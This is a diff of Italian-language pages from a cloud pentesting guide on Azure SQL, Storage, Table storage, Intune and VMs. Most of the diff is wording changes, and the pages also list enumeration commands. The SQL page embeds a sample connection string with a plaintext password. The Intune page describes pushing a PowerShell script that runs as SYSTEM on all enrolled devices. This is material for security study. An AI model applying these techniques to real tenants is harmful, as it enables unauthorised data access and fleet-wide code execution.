Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group

76
src/pentesting-cloud/azure-security/az-services/az-sql.md
View File

@@ -4,11 +4,11 @@
## Azure SQL
Azure SQL è una famiglia di prodotti gestiti, sicuri e intelligenti che utilizzano il **motore di database SQL Server nel cloud Azure**. Ciò significa che non devi preoccuparti dell'amministrazione fisica dei tuoi server e puoi concentrarti sulla gestione dei tuoi dati.
Azure SQL è una famiglia di prodotti gestiti, sicuri e intelligenti che utilizzano il **motore di database SQL Server nel cloud Azure**. Questo significa che non devi preoccuparti dell'amministrazione fisica dei tuoi server e puoi concentrarti sulla gestione dei tuoi dati.
Azure SQL consiste in tre offerte principali:
Azure SQL consiste in tre principali offerte:
1. **Azure SQL Database**: Questo è un **servizio di database completamente gestito**, che ti consente di ospitare database individuali nel cloud Azure. Offre intelligenza integrata che apprende i tuoi modelli di database unici e fornisce raccomandazioni personalizzate e ottimizzazione automatica.
1. **Azure SQL Database**: Questo è un **servizio di database completamente gestito**, che ti consente di ospitare database individuali nel cloud Azure. Offre intelligenza integrata che apprende i tuoi schemi di database unici e fornisce raccomandazioni personalizzate e ottimizzazione automatica.
2. **Azure SQL Managed Instance**: Questo è per implementazioni su larga scala, a livello di intera istanza SQL Server. Fornisce quasi il 100% di compatibilità con l'ultima versione del motore di database SQL Server on-premises (Enterprise Edition), che offre un'implementazione nativa della rete virtuale (VNet) che affronta le comuni preoccupazioni di sicurezza, e un modello di business favorevole per i clienti SQL Server on-premises.
3. **Azure SQL Server su Azure VMs**: Questo è Infrastructure as a Service (IaaS) ed è migliore per le migrazioni in cui desideri **controllo sul sistema operativo e sull'istanza SQL Server**, come se fosse un server in esecuzione on-premises.
@@ -16,78 +16,78 @@ Azure SQL consiste in tre offerte principali:
**Azure SQL Database** è una **piattaforma di database completamente gestita come servizio (PaaS)** che fornisce soluzioni di database relazionali scalabili e sicure. È costruita sulle ultime tecnologie SQL Server ed elimina la necessità di gestione dell'infrastruttura, rendendola una scelta popolare per le applicazioni basate su cloud.
#### Caratteristiche principali
#### Caratteristiche Chiave
- **Sempre aggiornato**: Funziona sull'ultima versione stabile di SQL Server e riceve automaticamente nuove funzionalità e patch.
- **Sempre Aggiornato**: Funziona sull'ultima versione stabile di SQL Server e riceve automaticamente nuove funzionalità e patch.
- **Capacità PaaS**: Alta disponibilità integrata, backup e aggiornamenti.
- **Flessibilità dei dati**: Supporta dati relazionali e non relazionali (ad es., grafi, JSON, spaziali e XML).
- **Flessibilità dei Dati**: Supporta dati relazionali e non relazionali (ad es., grafi, JSON, spaziali e XML).
#### Modelli di acquisto / Livelli di servizio
#### Modelli di Acquisto / Livelli di Servizio
- **Basato su vCore**: Scegli computazione, memoria e archiviazione in modo indipendente. Per scopi generali, Business Critical (con alta resilienza e prestazioni per app OLTP), e scala fino a 128 TB di archiviazione.
- **Basato su vCore**: Scegli computazione, memoria e archiviazione in modo indipendente. Per General Purpose, Business Critical (con alta resilienza e prestazioni per app OLTP), e scala fino a 128 TB di archiviazione.
- **Basato su DTU**: Raggruppa computazione, memoria e I/O in livelli fissi. Risorse bilanciate per compiti comuni.
- Standard: Risorse bilanciate per compiti comuni.
- Premium: Alte prestazioni per carichi di lavoro esigenti.
#### Modelli di distribuzione
#### Modelli di Distribuzione
Azure SQL Database supporta opzioni di distribuzione flessibili per soddisfare varie esigenze:
- **Database singolo**:
- **Database Singolo**:
- Un database completamente isolato con le proprie risorse dedicate.
- Ottimo per microservizi o applicazioni che richiedono una singola fonte di dati.
- **Elastic Pool**:
- Consente a più database di condividere risorse all'interno di un pool.
- Economico per applicazioni con modelli di utilizzo fluttuanti tra più database.
#### Prestazioni scalabili e pool
#### Prestazioni Scalabili e Pool
- **Database singoli**: Ogni database è isolato e ha le proprie risorse dedicate di computazione, memoria e archiviazione. Le risorse possono essere scalate dinamicamente (su o giù) senza tempi di inattività (1–128 vCores, 32 GB–4 TB di archiviazione, e fino a 128 TB).
- **Database Singoli**: Ogni database è isolato e ha le proprie risorse dedicate di computazione, memoria e archiviazione. Le risorse possono essere scalate dinamicamente (su o giù) senza tempi di inattività (1–128 vCores, 32 GB–4 TB di archiviazione, e fino a 128 TB).
- **Elastic Pools**: Condividono risorse tra più database in un pool per massimizzare l'efficienza e risparmiare costi. Le risorse possono anche essere scalate dinamicamente per l'intero pool.
- **Flessibilità del livello di servizio**: Inizia in piccolo con un database singolo nel livello Scopi generali. Aggiorna a livelli Business Critical o Hyperscale man mano che le esigenze crescono.
- **Opzioni di scalabilità**: Scalabilità dinamica o alternative di autoscalabilità.
- **Flessibilità del Livello di Servizio**: Inizia in piccolo con un database singolo nel livello General Purpose. Aggiorna a livelli Business Critical o Hyperscale man mano che le esigenze crescono.
- **Opzioni di Scalabilità**: Scalabilità Dinamica o Alternative di Autoscalabilità.
#### Monitoraggio e ottimizzazione integrati
#### Monitoraggio e Ottimizzazione Integrati
- **Query Store**: Monitora i problemi di prestazioni, identifica i principali consumatori di risorse e offre raccomandazioni praticabili.
- **Ottimizzazione automatica**: Ottimizza proattivamente le prestazioni con funzionalità come indicizzazione automatica e correzioni del piano di query.
- **Integrazione della telemetria**: Supporta il monitoraggio tramite Azure Monitor, Event Hubs o Azure Storage per approfondimenti personalizzati.
- **Ottimizzazione Automatica**: Ottimizza proattivamente le prestazioni con funzionalità come indicizzazione automatica e correzioni del piano di query.
- **Integrazione Telemetrica**: Supporta il monitoraggio tramite Azure Monitor, Event Hubs o Azure Storage per approfondimenti personalizzati.
#### Recupero da disastri e disponibilità
#### Recupero Dall'Incidente e Disponibilità
- **Backup automatici**: SQL Database esegue automaticamente backup completi, differenziali e di log delle transazioni dei database.
- **Ripristino a un punto nel tempo**: Recupera i database a qualsiasi stato passato all'interno del periodo di retention dei backup.
- **Backup Automatici**: SQL Database esegue automaticamente backup completi, differenziali e di log delle transazioni dei database.
- **Ripristino a Punto nel Tempo**: Recupera i database a qualsiasi stato passato all'interno del periodo di retention dei backup.
- **Geo-Redundancy**
- **Gruppi di failover**: Semplifica il recupero da disastri raggruppando i database per failover automatico tra le regioni.
- **Gruppi di Failover**: Semplifica il recupero dall'incidente raggruppando i database per failover automatico tra le regioni.
### Azure SQL Managed Instance
**Azure SQL Managed Instance** è un motore di database Platform as a Service (PaaS) che offre quasi il 100% di compatibilità con SQL Server e gestisce automaticamente la maggior parte dei compiti di gestione (ad es., aggiornamenti, patching, backup, monitoraggio). Fornisce una soluzione cloud per la migrazione dei database SQL Server on-premises con minime modifiche.
**Azure SQL Managed Instance** è un motore di database Platform as a Service (PaaS) che offre quasi il 100% di compatibilità con SQL Server e gestisce automaticamente la maggior parte dei compiti di gestione (ad es., aggiornamenti, patching, backup, monitoraggio). Fornisce una soluzione cloud per migrare i database SQL Server on-premises con minime modifiche.
#### Livelli di servizio
#### Livelli di Servizio
- **Scopi generali**: Opzione economica per applicazioni con requisiti standard di I/O e latenza.
- **Business Critical**: Opzione ad alte prestazioni con bassa latenza I/O per carichi di lavoro critici.
- **General Purpose**: Opzione economica per applicazioni con requisiti standard di I/O e latenza.
- **Business Critical**: Opzione ad alte prestazioni con bassa latenza di I/O per carichi di lavoro critici.
#### Caratteristiche di sicurezza avanzate
#### Caratteristiche di Sicurezza Avanzate
* **Protezione dalle minacce**: Avvisi di protezione avanzata dalle minacce per attività sospette e attacchi di SQL injection. Audit per monitorare e registrare eventi del database per la conformità.
* **Controllo degli accessi**: Autenticazione Microsoft Entra per la gestione centralizzata dell'identità. Sicurezza a livello di riga e mascheramento dinamico dei dati per un controllo degli accessi granulare.
* **Backup**: Backup automatizzati e manuali con capacità di ripristino a un punto nel tempo.
* **Protezione dalle Minacce**: Avvisi di Protezione Avanzata dalle Minacce per attività sospette e attacchi di SQL injection. Audit per monitorare e registrare eventi del database per la conformità.
* **Controllo degli Accessi**: Autenticazione Microsoft Entra per la gestione centralizzata dell'identità. Sicurezza a Livello di Riga e Mascheramento Dinamico dei Dati per un controllo degli accessi granulare.
* **Backup**: Backup automatizzati e manuali con capacità di ripristino a punto nel tempo.
### Azure SQL Virtual Machines
**Azure SQL Virtual Machines** è migliore per le migrazioni in cui desideri **controllo sul sistema operativo e sull'istanza SQL Server**, come se fosse un server in esecuzione on-premises. Può avere diverse dimensioni di macchina e una vasta selezione di versioni e edizioni di SQL Server.
#### Caratteristiche principali
#### Caratteristiche Chiave
**Backup automatizzati**: Pianifica backup per i database SQL.
**Patch automatiche**: Automatizza l'installazione degli aggiornamenti di Windows e SQL Server durante una finestra di manutenzione.
**Backup Automatico**: Pianifica backup per i database SQL.
**Patch Automatiche**: Automatizza l'installazione degli aggiornamenti di Windows e SQL Server durante una finestra di manutenzione.
**Integrazione con Azure Key Vault**: Configura automaticamente Key Vault per le VM SQL Server.
**Integrazione con Defender for Cloud**: Visualizza le raccomandazioni di Defender for SQL nel portale.
**Flessibilità di versione/edizione**: Cambia i metadati della versione o edizione di SQL Server senza ridistribuire la VM.
**Flessibilità di Versione/Edizione**: Cambia i metadati della versione o edizione di SQL Server senza ridistribuire la VM.
#### Caratteristiche di sicurezza
#### Caratteristiche di Sicurezza
**Microsoft Defender for SQL**: Approfondimenti e avvisi di sicurezza.
**Integrazione con Azure Key Vault**: Archiviazione sicura di credenziali e chiavi di crittografia.
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
# List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -209,7 +209,7 @@ Get-AzSqlVM
### Connettersi ed eseguire query SQL
Potresti trovare una stringa di connessione (contenente credenziali) dall'esempio [enumerando un Az WebApp](az-app-services.md):
```powershell
```bash
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -227,8 +227,8 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
Puoi anche utilizzare sqlcmd per accedere al database. È importante sapere se il server consente connessioni pubbliche `az sql server show --name <server-name> --resource-group <resource-group>`, e anche se la regola del firewall consente al nostro IP di accedere:
```powershell
Puoi anche usare sqlcmd per accedere al database. È importante sapere se il server consente connessioni pubbliche `az sql server show --name <server-name> --resource-group <resource-group>`, e anche se la regola del firewall consente al nostro IP di accedere:
```bash
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```
## Riferimenti

68
src/pentesting-cloud/azure-security/az-services/az-storage.md
View File

@@ -4,7 +4,7 @@
## Informazioni di base
Gli Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forniscono **storage scalabile, sicuro e altamente disponibile per vari tipi di dati**, inclusi blob (oggetti binari di grandi dimensioni), file, code e tabelle. Servono come contenitori che raggruppano questi diversi servizi di storage sotto un unico namespace per una gestione facile.
Gli Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forniscono **storage cloud scalabile, sicuro e altamente disponibile per vari tipi di dati**, inclusi blob (oggetti binari di grandi dimensioni), file, code e tabelle. Servono come contenitori che raggruppano questi diversi servizi di storage sotto un unico namespace per una gestione facile.
**Opzioni di configurazione principali**:
@@ -15,7 +15,7 @@ Gli Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forn
**Opzioni di configurazione della sicurezza**:
- **Richiedere trasferimenti sicuri per le operazioni API REST**: Richiedere TLS in qualsiasi comunicazione con lo storage.
- **Richiedere trasferimento sicuro per le operazioni API REST**: Richiedere TLS in qualsiasi comunicazione con lo storage.
- **Consente di abilitare l'accesso anonimo su contenitori individuali**: In caso contrario, non sarà possibile abilitare l'accesso anonimo in futuro.
- **Abilitare l'accesso con chiave dello storage account**: In caso contrario, l'accesso con chiavi condivise sarà vietato.
- **Versione minima TLS**.
@@ -23,7 +23,7 @@ Gli Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forn
**Opzioni di Blob Storage**:
- **Consenti la replicazione cross-tenant**.
- **Consenti replicazione cross-tenant**.
- **Livello di accesso**: Hot (dati accessibili frequentemente), Cool e Cold (dati raramente accessibili).
**Opzioni di rete**:
@@ -36,28 +36,28 @@ Gli Azure Storage Accounts sono servizi fondamentali in Microsoft Azure che forn
**Opzioni di protezione dei dati**:
- **Ripristino point-in-time per i contenitori**: Consente di ripristinare i contenitori a uno stato precedente.
- Richiede che la versioning, il change feed e la cancellazione soft dei blob siano abilitati.
- **Abilitare la cancellazione soft per i blob**: Abilita un periodo di retention in giorni per i blob eliminati (anche sovrascritti).
- **Abilitare la cancellazione soft per i contenitori**: Abilita un periodo di retention in giorni per i contenitori eliminati.
- **Abilitare la cancellazione soft per le condivisioni di file**: Abilita un periodo di retention in giorni per le condivisioni di file eliminate.
- **Abilitare la versioning per i blob**: Mantieni le versioni precedenti dei tuoi blob.
- **Abilitare il change feed dei blob**: Tieni traccia dei log di creazione, modifica e cancellazione dei blob.
- **Ripristino point-in-time per contenitori**: Consente di ripristinare i contenitori a uno stato precedente.
- Richiede versioning, change feed e blob soft delete per essere abilitati.
- **Abilitare soft delete per i blob**: Abilita un periodo di retention in giorni per i blob eliminati (anche sovrascritti).
- **Abilitare soft delete per i contenitori**: Abilita un periodo di retention in giorni per i contenitori eliminati.
- **Abilitare soft delete per le condivisioni di file**: Abilita un periodo di retention in giorni per le condivisioni di file eliminate.
- **Abilitare versioning per i blob**: Mantieni le versioni precedenti dei tuoi blob.
- **Abilitare blob change feed**: Tieni traccia dei log di creazione, modifica ed eliminazione dei blob.
- **Abilitare il supporto per l'immutabilità a livello di versione**: Consente di impostare una politica di retention basata sul tempo a livello di account che si applicherà a tutte le versioni dei blob.
- Il supporto per l'immutabilità a livello di versione e il ripristino point-in-time per i contenitori non possono essere abilitati simultaneamente.
**Opzioni di configurazione della crittografia**:
- **Tipo di crittografia**: È possibile utilizzare chiavi gestite da Microsoft (MMK) o chiavi gestite dal cliente (CMK).
- **Abilitare la crittografia dell'infrastruttura**: Consente di crittografare i dati due volte "per maggiore sicurezza".
- **Abilitare la crittografia dell'infrastruttura**: Consente di crittografare i dati "per maggiore sicurezza".
### Endpoint di storage
<table data-header-hidden><thead><tr><th width="197">Servizio di storage</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">Servizio di storage</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### Esposizione pubblica
Se "Consenti accesso pubblico ai blob" è **abilitato** (disabilitato per impostazione predefinita), quando si crea un contenitore è possibile:
Se "Consenti accesso pubblico ai blob" è **abilitato** (disabilitato per impostazione predefinita), durante la creazione di un contenitore è possibile:
- Dare **accesso pubblico per leggere i blob** (è necessario conoscere il nome).
- **Elencare i blob del contenitore** e **leggerli**.
@@ -83,7 +83,7 @@ Gli storage account hanno chiavi di accesso che possono essere utilizzate per ac
### **Chiavi condivise & Chiavi condivise Lite**
È possibile [**generare chiavi condivise**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) firmate con le chiavi di accesso per autorizzare l'accesso a determinate risorse tramite un URL firmato.
È possibile [**generare Chiavi Condivise**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) firmate con le chiavi di accesso per autorizzare l'accesso a determinate risorse tramite un URL firmato.
> [!NOTE]
> Nota che la parte `CanonicalizedResource` rappresenta la risorsa dei servizi di storage (URI). E se qualche parte nell'URL è codificata, dovrebbe essere codificata anche all'interno del `CanonicalizedResource`.
@@ -116,7 +116,7 @@ Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
```
- È possibile generare una **chiave condivisa leggera per i servizi blob, coda e file** firmando le seguenti informazioni:
- È possibile generare una **lite shared key per i servizi blob, queue e file** firmando le seguenti informazioni:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -125,7 +125,7 @@ Date + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- È possibile generare una **chiave condivisa leggera per i servizi di tabella** firmando le seguenti informazioni:
- È possibile generare una **lite shared key for table services** firmando le seguenti informazioni:
```bash
StringToSign = Date + "\n"
CanonicalizedResource
@@ -144,14 +144,14 @@ Content-Length: 0
```
### **Shared Access Signature** (SAS)
Le Shared Access Signatures (SAS) sono URL sicuri e limitati nel tempo che **concedono permessi specifici per accedere a risorse** in un account di Azure Storage senza esporre le chiavi di accesso dell'account. Mentre le chiavi di accesso forniscono accesso amministrativo completo a tutte le risorse, SAS consente un controllo granulare specificando i permessi (come lettura o scrittura) e definendo un tempo di scadenza.
Le Shared Access Signatures (SAS) sono URL sicuri e limitati nel tempo che **concedono permessi specifici per accedere a risorse** in un account di Azure Storage senza esporre le chiavi di accesso dell'account. Mentre le chiavi di accesso forniscono accesso amministrativo completo a tutte le risorse, la SAS consente un controllo granulare specificando i permessi (come lettura o scrittura) e definendo un tempo di scadenza.
#### Tipi di SAS
- **User delegation SAS**: Questo è creato da un **Entra ID principal** che firmerà il SAS e delega i permessi dall'utente al SAS. Può essere utilizzato solo con **blob e data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). È possibile **revocare** tutti i SAS delegati generati dall'utente.
- Anche se è possibile generare un SAS di delega con "più" permessi di quelli che l'utente ha. Tuttavia, se il principal non li possiede, non funzionerà (no privesc).
- **Service SAS**: Questo è firmato utilizzando una delle **chiavi di accesso** dell'account di storage. Può essere utilizzato per concedere accesso a risorse specifiche in un singolo servizio di storage. Se la chiave viene rinnovata, il SAS smetterà di funzionare.
- **Account SAS**: È anch'esso firmato con una delle **chiavi di accesso** dell'account di storage. Concede accesso a risorse attraverso i servizi di un account di storage (Blob, Queue, Table, File) e può includere operazioni a livello di servizio.
- **User delegation SAS**: Questa viene creata da un **Entra ID principal** che firmerà la SAS e delega i permessi dall'utente alla SAS. Può essere utilizzata solo con **blob e data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). È possibile **revocare** tutte le SAS delegate generate dall'utente.
- Anche se è possibile generare una SAS di delega con "più" permessi di quelli che l'utente ha. Tuttavia, se il principal non li ha, non funzionerà (no privesc).
- **Service SAS**: Questa è firmata utilizzando una delle **chiavi di accesso** dell'account di storage. Può essere utilizzata per concedere accesso a risorse specifiche in un singolo servizio di storage. Se la chiave viene rinnovata, la SAS smetterà di funzionare.
- **Account SAS**: È anch'essa firmata con una delle **chiavi di accesso** dell'account di storage. Concede accesso a risorse attraverso i servizi di un account di storage (Blob, Queue, Table, File) e può includere operazioni a livello di servizio.
Un URL SAS firmato da una **chiave di accesso** appare così:
@@ -163,19 +163,19 @@ Un URL SAS firmato come **user delegation** appare così:
Nota alcuni **parametri http**:
- Il parametro **`se`** indica la **data di scadenza** del SAS
- Il parametro **`sp`** indica i **permessi** del SAS
- Il **`sig`** è la **firma** che convalida il SAS
- Il parametro **`se`** indica la **data di scadenza** della SAS
- Il parametro **`sp`** indica i **permessi** della SAS
- Il **`sig`** è la **firma** che convalida la SAS
#### Permessi SAS
Quando si genera un SAS è necessario indicare i permessi che dovrebbe concedere. A seconda dell'oggetto su cui viene generato il SAS, potrebbero essere inclusi permessi diversi. Ad esempio:
Quando si genera una SAS è necessario indicare i permessi che dovrebbe concedere. A seconda dell'oggetto su cui viene generata la SAS, potrebbero essere inclusi permessi diversi. Ad esempio:
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
## Supporto SFTP per Azure Blob Storage
Azure Blob Storage ora supporta il Protocollo di Trasferimento File SSH (SFTP), consentendo il trasferimento e la gestione sicura dei file direttamente su Blob Storage senza richiedere soluzioni personalizzate o prodotti di terze parti.
Azure Blob Storage ora supporta il protocollo SSH File Transfer Protocol (SFTP), consentendo il trasferimento e la gestione sicura dei file direttamente su Blob Storage senza richiedere soluzioni personalizzate o prodotti di terze parti.
### Caratteristiche principali
@@ -183,12 +183,12 @@ Azure Blob Storage ora supporta il Protocollo di Trasferimento File SSH (SFTP),
- Sicurezza: SFTP utilizza identità utente locali per l'autenticazione e non si integra con RBAC o ABAC. Ogni utente locale può autenticarsi tramite:
- Password generate da Azure
- Coppie di chiavi SSH pubbliche-private
- Permessi Granulari: Permessi come Lettura, Scrittura, Cancellazione e Elenco possono essere assegnati agli utenti locali per un massimo di 100 contenitori.
- Permessi granulari: Permessi come Lettura, Scrittura, Cancellazione e Elenco possono essere assegnati agli utenti locali per un massimo di 100 contenitori.
- Considerazioni di rete: Le connessioni SFTP vengono effettuate tramite la porta 22. Azure supporta configurazioni di rete come firewall, endpoint privati o reti virtuali per proteggere il traffico SFTP.
### Requisiti di configurazione
- Namespace gerarchico: HNS deve essere abilitato durante la creazione dell'account di storage.
- Namespace gerarchico: L'HNS deve essere abilitato durante la creazione dell'account di storage.
- Crittografia supportata: Richiede algoritmi crittografici approvati dal Microsoft Security Development Lifecycle (SDL) (ad es., rsa-sha2-256, ecdsa-sha2-nistp256).
- Configurazione SFTP:
- Abilitare SFTP sull'account di storage.
@@ -199,13 +199,13 @@ Azure Blob Storage ora supporta il Protocollo di Trasferimento File SSH (SFTP),
| Permesso | Simbolo | Descrizione |
| --------------------- | ------- | ------------------------------------ |
| **Lettura** | `r` | Leggi il contenuto del file. |
| **Lettura** | `r` | Leggi il contenuto del file. |
| **Scrittura** | `w` | Carica file e crea directory. |
| **Elenco** | `l` | Elenca i contenuti delle directory. |
| **Cancellazione** | `d` | Cancella file o directory. |
| **Creazione** | `c` | Crea file o directory. |
| **Modifica Proprietà**| `o` | Cambia l'utente o il gruppo proprietario. |
| **Modifica Permessi** | `p` | Cambia le ACL su file o directory. |
| **Cancellazione** | `d` | Cancella file o directory. |
| **Creazione** | `c` | Crea file o directory. |
| **Modifica proprietà**| `o` | Cambia l'utente o il gruppo proprietario. |
| **Modifica permessi** | `p` | Cambia le ACL su file o directory. |
## Enumerazione
@@ -330,7 +330,7 @@ az storage account local-user list \
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account

8
src/pentesting-cloud/azure-security/az-services/az-table-storage.md
View File

@@ -13,16 +13,16 @@ Non **c'è un meccanismo di backup integrato** per l'archiviazione delle tabelle
#### **PartitionKey**
- Il **PartitionKey raggruppa le entità in partizioni logiche**. Le entità con lo stesso PartitionKey sono memorizzate insieme, il che migliora le prestazioni delle query e la scalabilità.
- Esempio: In una tabella che memorizza i dati dei dipendenti, il `PartitionKey` potrebbe rappresentare un dipartimento, ad esempio, `"HR"` o `"IT"`.
- Esempio: In una tabella che memorizza i dati dei dipendenti, `PartitionKey` potrebbe rappresentare un dipartimento, ad esempio, `"HR"` o `"IT"`.
#### **RowKey**
- Il **RowKey è l'identificatore unico** per un'entità all'interno di una partizione. Quando combinato con il PartitionKey, garantisce che ogni entità nella tabella abbia un identificatore globalmente unico.
- Esempio: Per la partizione `"HR"`, il `RowKey` potrebbe essere un ID dipendente, ad esempio, `"12345"`.
- Esempio: Per la partizione `"HR"`, `RowKey` potrebbe essere un ID dipendente, ad esempio, `"12345"`.
#### **Altre Proprietà (Proprietà Personalizzate)**
- Oltre al PartitionKey e al RowKey, un'entità può avere ulteriori **proprietà personalizzate per memorizzare dati**. Queste sono definite dall'utente e fungono da colonne in un database tradizionale.
- Oltre al PartitionKey e al RowKey, un'entità può avere ulteriori **proprietà personalizzate per memorizzare dati**. Queste sono definite dall'utente e agiscono come colonne in un database tradizionale.
- Le proprietà sono memorizzate come **coppie chiave-valore**.
- Esempio: `Name`, `Age`, `Title` potrebbero essere proprietà personalizzate per un dipendente.
@@ -63,7 +63,7 @@ az storage entity merge \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount

20
src/pentesting-cloud/azure-security/az-services/intune.md
View File

@@ -10,20 +10,20 @@ Microsoft Intune è progettato per semplificare il processo di **gestione delle
Un utente con ruolo di **Global Administrator** o **Intune Administrator** può eseguire **PowerShell** script su qualsiasi **dispositivo Windows** registrato.\
Lo **script** viene eseguito con **privilegi** di **SYSTEM** sul dispositivo solo una volta se non cambia, e da Intune **non è possibile vedere l'output** dello script.
```powershell
```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
1. Accedi a [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) o utilizza Pass-The-PRT
2. Vai a **Dispositivi** -> **Tutti i dispositivi** per controllare i dispositivi registrati in Intune
3. Vai a **Script** e fai clic su **Aggiungi** per Windows 10.
4. Aggiungi uno **script Powershell**
- ![](<../../../images/image (264).png>)
5. Specifica **Aggiungi tutti gli utenti** e **Aggiungi tutti i dispositivi** nella pagina **Assegnazioni**.
1. Accedi a [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) o utilizza Pass-The-PRT
2. Vai a **Dispositivi** -> **Tutti i dispositivi** per controllare i dispositivi registrati in Intune
3. Vai a **Script** e fai clic su **Aggiungi** per Windows 10.
4. Aggiungi uno **script Powershell**
- ![](<../../../images/image (264).png>)
5. Specifica **Aggiungi tutti gli utenti** e **Aggiungi tutti i dispositivi** nella pagina **Assegnazioni**.
L'esecuzione dello script può richiedere fino a **un'ora**.
L'esecuzione dello script può richiedere fino a **un'ora**.
## Riferimenti
## Riferimenti
- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
{{#include ../../../banners/hacktricks-training.md}}

46
src/pentesting-cloud/azure-security/az-services/vms/README.md
View File

@@ -28,13 +28,13 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on
- **Nessuno**: Apre fondamentalmente ogni porta
- **Base**: Consente di aprire facilmente le porte in entrata HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Avanzato**: Seleziona un gruppo di sicurezza
- **Backup**: È possibile abilitare il backup **Standard** (uno al giorno) e **Potenziato** (multipli al giorno)
- **Backup**: È possibile abilitare il backup **Standard** (una volta al giorno) e **Potenziato** (più volte al giorno)
- **Opzioni di orchestrazione delle patch**: Questo consente di applicare automaticamente le patch nelle VM secondo la politica selezionata come descritto nei [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Avvisi**: È possibile ricevere automaticamente avvisi via email o app mobile quando accade qualcosa nella VM. Regole predefinite:
- Percentuale CPU superiore all'80%
- Byte di Memoria Disponibile inferiori a 1GB
- Percentuale di IOPS Consumato dai Dischi Dati superiore al 95%
- Percentuale di IOPS Consumato dal SO superiore al 95%
- Percentuale di IOPS Consumi dei Dischi Dati superiore al 95%
- Percentuale di IOPS Consumi del SO superiore al 95%
- Rete in Totale superiore a 500GB
- Rete Out Totale superiore a 200GB
- VmAvailabilityMetric inferiore a 1
@@ -47,11 +47,11 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on
- È possibile **abilitare l'attacco di un disco a 2 o più VM**
- Per impostazione predefinita, ogni disco è **crittografato** con una chiave della piattaforma.
- Stesso discorso per gli snapshot
- Stesso per gli snapshot
- Per impostazione predefinita, è possibile **condividere il disco da tutte le reti**, ma può anche essere **ristretto** solo a determinati **accessi privati** o **disabilitare completamente** l'accesso pubblico e privato.
- Stesso discorso per gli snapshot
- Stesso per gli snapshot
- È possibile **generare un URI SAS** (di max 60 giorni) per **esportare il disco**, che può essere configurato per richiedere autenticazione o meno
- Stesso discorso per gli snapshot
- Stesso per gli snapshot
{{#tabs}}
{{#tab name="az cli"}}
@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List all disks
Get-AzDisk
@@ -76,7 +76,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Immagini, Immagini della Galleria e Punti di Ripristino
